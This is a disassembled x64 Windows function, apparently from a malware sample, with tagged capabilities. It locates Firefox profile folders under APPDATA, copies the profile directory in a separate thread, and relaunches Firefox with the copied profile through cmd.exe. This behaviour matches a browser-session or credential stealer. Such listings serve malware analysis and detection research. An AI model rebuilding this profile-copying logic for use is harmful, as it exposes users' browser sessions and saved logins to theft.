Function at 0x140017470
Capabilities:
Create thread
Enumerate files on windows
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140075030]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov byte [rsp + 0x40], dl
mov r13, rcx
mov qword [rbp - 0x70], rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
lea rcx, str.APPDATA
call fcn.140028b34
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400174e0
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140007f00
nop
movabs r12, 0x7fffffffffffffff
mov rax, r12
mov rcx, qword [rbp + 0x50]
sub rax, rcx
cmp rax, 0x1a
jb 0x140018072
lea r9, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae r9, qword [rbp + 0x40]
mov qword [rsp + 0x30], 0x1a
lea rax, str.MozillaFirefoxProfiles_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.140008590
nop
lea rax, [rbp - 0x60]
mov qword [rsp + 0x60], rax
lea rsi, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rsi, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x10]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov r14d, 7
mov qword [rbp - 0x48], r14
mov word [rbp - 0x60], bx
mov dword [rsp + 0x48], 0x48
test rdi, rdi
je 0x1400175fd
cmp rdi, 0x7fffffff
ja 0x140018078
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x14001807e
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp - 0x60]
call fcn.140005e50
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r9, qword [rbp - 0x60]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x140018084
lea rcx, [rbp - 0x60]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140017649
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017644
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001808c
call fcn.14001e740
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
test bl, bl
jne 0x140017684
xor r15d, r15d
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
lea r8d, [r15 + 0x17]
lea rdx, str.Firefox_does_not_exist_
lea rcx, [rbp]
call fcn.140007f00
lea rdx, [rbp]
mov rcx, r13
call fcn.140014dd0
jmp 0x140017fba
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], 0xf
mov byte [rbp], bl
lea rcx, [rsp + 0x68]
call fcn.140018d90
nop
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x10]
xor edx, edx
mov rcx, rax
call fcn.14000b050
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140017729
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017724
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018092
call fcn.14001e740
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], r14
mov word [rbp - 0x60], bx
mov dword [rsp + 0x48], 0x4b8
test rdi, rdi
je 0x1400177ec
cmp rdi, 0x7fffffff
ja 0x140018098
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x14001809e
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp - 0x60]
call fcn.140005e50
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r9, qword [rbp - 0x60]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x1400180a4
mov r13d, 0x3b8
lea rcx, [rbp - 0x60]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x14001783e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400180ac
call fcn.14001e740
test bl, bl
jne 0x140017961
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ebx, ebx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], r14
mov word [rbp - 0x60], bx
mov dword [rsp + 0x48], 0x83b8
test rdi, rdi
je 0x1400178fd
cmp rdi, 0x7fffffff
ja 0x1400180b2
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x1400180b8
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp - 0x60]
call fcn.140005e50
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r9, qword [rbp - 0x60]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x1400180be
mov r14, qword [rbp - 0x48]
mov r13d, 0x63b8
lea rcx, [rbp - 0x60]
cmp r14, 8
cmovae rcx, qword [rbp - 0x60]
call fcn.14001d090
shr rax, 0x20
test eax, eax
jne 0x1400180c6
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140017961
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001795c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400180d9
call fcn.14001e740
mov rax, r12
mov rcx, qword [rbp - 0x10]
sub rax, rcx
cmp rax, 1
jb 0x1400180df
lea r9, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r9, qword [rbp - 0x20]
mov qword [rsp + 0x30], 1
lea rax, [0x14006d208]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x80]
call fcn.140008590
bts r13d, 0xb
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x140017b17
nop dword [rax]
nop dword [rax + rax]
cmp byte [rbp + 0xcc], 0x2e
je 0x140017af6
lea rax, [rbp + 0xcc]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140017a10
mov rax, r12
mov rdx, qword [rbp - 0x10]
sub rax, rdx
cmp rax, rcx
jb 0x1400180eb
lea r9, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r9, qword [rbp - 0x20]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0xcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x60]
call fcn.140008590
or r13d, 4
mov rdi, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x60]
test byte [rbp + 0xa0], 0x10
je 0x140017abf
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x60]
cmp rdi, 0x10
setae r15b
cmovae rcx, rbx
mov rsi, qword [rbp - 0x50]
mov r8, rsi
mov r14, qword [rbp - 0x30]
cmp r14, rsi
cmovb r8, r14
call fcn.140020ee0
test eax, eax
jne 0x140017bb9
cmp rsi, r14
jb 0x140017bb9
ja 0x140017bb9
mov rsi, qword [rsp + 0x48]
cmp rdi, 0x10
jb 0x140017af6
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140017aee
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018103
mov rcx, rbx
call fcn.14001e740
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400179f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r15d, r15d
cmp byte [rsp + 0x40], r15b
je 0x140017d79
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
lea r8d, [r15 + 0x1c]
lea rdx, str.Copying_Firefox_Profile_Dir_
lea rcx, [rsp + 0x68]
call fcn.140007f00
lea rdx, [rsp + 0x68]
mov r14, qword [rbp - 0x70]
mov rcx, r14
call fcn.140014dd0
lea ecx, [r15 + 0x48]
call fcn.14001e550
mov rbx, rax
mov qword [rsp + 0x50], rax
mov qword [rax], r14
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdi, qword [rbp]
mov rsi, qword [rsp + 0x60]
cmp rsi, r12
ja 0x1400180e5
mov qword [rax + 0x20], 0xf
cmp rsi, 0x10
jae 0x140017c1f
mov qword [rax + 0x18], rsi
movups xmm0, xmmword [rdi]
movups xmmword [rax + 8], xmm0
jmp 0x140017caf
lea rdx, [rbp - 0x60]
test r15b, r15b
cmovne rdx, rbx
mov r8, rsi
lea rcx, [rbp]
call fcn.1400061e0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140017c0c
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018103
call fcn.14001e740
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x60], rax
mov rsi, qword [rsp + 0x48]
jmp 0x140017b0e
mov rax, rsi
or rax, 0xf
cmp rax, r12
ja 0x140017c3a
mov r12, rax
mov ecx, socket
cmp rax, rcx
cmovb r12, rcx
mov rcx, r12
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140017c84
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400180f1
mov rcx, rax
call fcn.14001e550
mov rcx, rax
test rax, rax
je 0x1400180f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140017c93
test rcx, rcx
je 0x140017c90
call fcn.14001e550
jmp 0x140017c93
mov rax, r15
mov qword [rbx + 8], rax
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x20], r12
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.140020400
nop
or r13d, 1
mov dword [rsp + 0x48], r13d
lea rcx, [rbx + 0x28]
lea rdx, [rbp - 0x40]
call fcn.1400060c0
nop
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x140014380]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.1400060c0
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.1400060c0
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400139e0
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140017d44
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
mov r8d, 0x22
lea rdx, str.Copying_Firefox_Profile_Dir_Ended_
lea rcx, [rsp + 0x68]
call fcn.140007f00
lea rdx, [rsp + 0x68]
mov rcx, r14
call fcn.140014dd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
mov r8d, 0x1b
lea rdx, str.C:WindowsSystem32cmd.exe
lea rcx, [rbp + 0x20]
call fcn.140007f00
nop
lea rax, str._c_start_firefox__profile___
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], 0x1e
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x58], xmm0
movabs rax, 0xc000000000000000
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x50], 1
lea rax, [rbp - 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x60]
call fcn.140009180
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
mov r8b, 1
call fcn.140015660
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140017e7e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400180fd
call fcn.14001e740
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140017ec9
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ec4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018103
call fcn.14001e740
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140017f1a
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018109
call fcn.14001e740
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], socket
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140017f6e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001810f
call fcn.14001e740
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140017fba
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018115
call fcn.14001e740
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140017ff5
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ff0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001811b
call fcn.14001e740
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x14001803c
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001806c
call fcn.14001e740
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.14001e530
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140025808
nop
call fcn.1400012d0
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, str.create_directory
call fcn.1400040f0
nop
call fcn.140025808
int3
call fcn.1400012d0
nop
call fcn.1400012d0
nop
call fcn.1400012d0
nop
call fcn.140001230
int3
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
int3